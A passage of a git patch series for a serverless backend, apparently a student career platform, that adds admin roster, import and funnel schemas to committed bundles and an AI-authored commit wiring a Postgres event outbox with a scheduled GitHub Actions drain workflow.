external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/api/matching/index.js b/api/matching/index.js index d6a8836..a319ebf 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -78091,6 +78091,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/db/src/schema/enums.ts var organizationTypeEnum = pgEnum("organization_type", ORGANIZATION_TYPES); var organizationPlanEnum = pgEnum("organization_plan", ORGANIZATION_PLANS); diff --git a/api/outreach/index.js b/api/outreach/index.js index b20d7b5..fa05c26 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -69825,6 +69825,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/api/profile/index.js b/api/profile/index.js index 79aa0c0..68e25a2 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -103897,6 +103897,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max2) => external_exports.string().trim().min(1).max(max2).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range2) => range2.from === void 0 || range2.to === void 0 || Date.parse(range2.from) < Date.parse(range2.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env3) { const authBase = `${env3.SUPABASE_URL}/auth/v1`; diff --git a/api/referrals/index.js b/api/referrals/index.js index e0572d3..6830dde 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -69824,6 +69824,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/package.json b/package.json index c368667..ace8782 100644 --- a/package.json +++ b/package.json @@ -30,6 +30,7 @@ "dev:outreach": "pnpm --filter @atlas/outreach-service run dev", "dev:web": "pnpm --filter @atlas/web run dev", "dev:admin": "pnpm --filter @atlas/admin run dev", + "dev:admin-service": "pnpm --filter @atlas/admin-service run dev", "dev:learning": "pnpm --filter @atlas/learning-service run dev", "dev:analytics": "pnpm --filter @atlas/analytics-service run dev", "dev:connectors": "pnpm --filter @atlas/connectors-service run dev", diff --git a/scripts/bundle-backend.mjs b/scripts/bundle-backend.mjs index 965cdcf..45266ad 100644 --- a/scripts/bundle-backend.mjs +++ b/scripts/bundle-backend.mjs @@ -31,6 +31,7 @@ const services = [ 'outreach', 'learning', 'analytics', + 'admin', ]; for (const name of services) { diff --git a/vercel.json b/vercel.json index c2621a8..92c8754 100644 --- a/vercel.json +++ b/vercel.json @@ -13,7 +13,8 @@ "api/referrals/index.js": { "maxDuration": 30 }, "api/outreach/index.js": { "maxDuration": 30 }, "api/learning/index.js": { "maxDuration": 30 }, - "api/analytics/index.js": { "maxDuration": 30 } + "api/analytics/index.js": { "maxDuration": 30 }, + "api/admin/index.js": { "maxDuration": 30 } }, "rewrites": [ { "source": "/v1/auth/:path*", "destination": "/api/auth" }, @@ -24,6 +25,7 @@ { "source": "/v1/contacts/:path*", "destination": "/api/referrals" }, { "source": "/v1/messages/:path*", "destination": "/api/outreach" }, { "source": "/v1/learning/:path*", "destination": "/api/learning" }, - { "source": "/v1/analytics/:path*", "destination": "/api/analytics" } + { "source": "/v1/analytics/:path*", "destination": "/api/analytics" }, + { "source": "/v1/admin/:path*", "destination": "/api/admin" } ] } From 567b0fa8c454e2cd03e825f30e234c9937a8ac71 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:48:40 +0000 Subject: [PATCH 24/91] feat: wire the durable event pipeline for serverless - Default MESSAGING_DRIVER to the postgres outbox on Vercel (the in-memory broker cannot cross functions, so a forgotten env var would silently drop every cross-service event). Explicit values and non-Vercel runs unchanged. - vercel.json: rewrite /internal//* to the four consumer functions so their drain endpoints are reachable. No `crons` entry on purpose: sub-daily crons fail deployment on a Vercel Hobby plan. - Add a scheduled GitHub Actions workflow that calls each consumer's drain endpoint every 5 minutes with CRON_SECRET. Inert until the ATLAS_API_BASE_URL variable and CRON_SECRET secret are set. - Regenerate the committed bundles. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .github/workflows/drain-events.yml | 56 +++ api/admin/index.js | 121 +++++- api/analytics/index.js | 659 +++++++++++++++++++++++++++- api/applications/index.js | 599 ++++++++++++++++++++++++-- api/auth/index.js | 121 +++++- api/jobs/index.js | 599 ++++++++++++++++++++++++-- api/learning/index.js | 663 ++++++++++++++++++++++++++-- api/matching/index.js | 669 +++++++++++++++++++++++++++-- api/outreach/index.js | 599 ++++++++++++++++++++++++-- api/profile/index.js | 625 +++++++++++++++++++++++++-- api/referrals/index.js | 663 ++++++++++++++++++++++++++-- packages/utils/src/vercel.ts | 19 +- packages/utils/test/vercel.test.ts | 27 +- vercel.json | 6 +- 14 files changed, 5176 insertions(+), 250 deletions(-) create mode 100644 .github/workflows/drain-events.yml diff --git a/.github/workflows/drain-events.yml b/.github/workflows/drain-events.yml new file mode 100644 index 0000000..a68eade --- /dev/null +++ b/.github/workflows/drain-events.yml @@ -0,0 +1,56 @@ +name: Drain events + +# Cross-service events live in a Postgres outbox (MESSAGING_DRIVER=postgres) and +# are only processed when a consumer service's drain endpoint is called — a +# serverless function has no long-lived worker to poll for them. Vercel Cron on a +# Hobby plan runs at most once a day, so this scheduled workflow is the trigger: +# every 5 minutes it calls POST /internal//drain on the four consumers +# (matching, referrals, learning, analytics) with the shared CRON_SECRET. +# +# Inert until configured. Set, in GitHub -> Settings -> Secrets and variables: +# variable ATLAS_API_BASE_URL e.g. https://atlas-backend.example.vercel.app (no trailing slash) +# secret CRON_SECRET the same value set as CRON_SECRET on the Vercel project +# +# Caveats: GitHub only runs `schedule` on the default branch, may delay runs under +# load, and disables schedules after 60 days without repository activity. If the +# project moves to Vercel Pro, replace this with `crons` entries in vercel.json. + +on: + schedule: + - cron: '*/5 * * * *' + workflow_dispatch: + +# A slow drain must not pile up behind the next tick. +concurrency: + group: drain-events + cancel-in-progress: false + +permissions: {} + +jobs: + drain: + name: Drain ${{ matrix.service }} + runs-on: ubuntu-latest + timeout-minutes: 3 + strategy: + fail-fast: false + matrix: + service: [matching, referrals, learning, analytics] + steps: + - name: Call the drain endpoint + env: + ATLAS_API_BASE_URL: ${{ vars.ATLAS_API_BASE_URL }} + CRON_SECRET: ${{ secrets.CRON_SECRET }} + SERVICE: ${{ matrix.service }} + run: | + if [ -z "${ATLAS_API_BASE_URL}" ] || [ -z "${CRON_SECRET}" ]; then + echo "::notice title=Drain skipped::Set the ATLAS_API_BASE_URL variable and CRON_SECRET secret to enable event draining." + exit 0 + fi + # --fail-with-body makes a 401/503/5xx fail the job (visible in Actions) + # while still printing the JSON counts the endpoint returns. + curl --fail-with-body --silent --show-error --max-time 60 \ + --request POST \ + --header "Authorization: Bearer ${CRON_SECRET}" \ + "${ATLAS_API_BASE_URL%/}/internal/${SERVICE}/drain" + echo diff --git a/api/admin/index.js b/api/admin/index.js index 6beb258..67a5a48 100644 --- a/api/admin/index.js +++ b/api/admin/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + 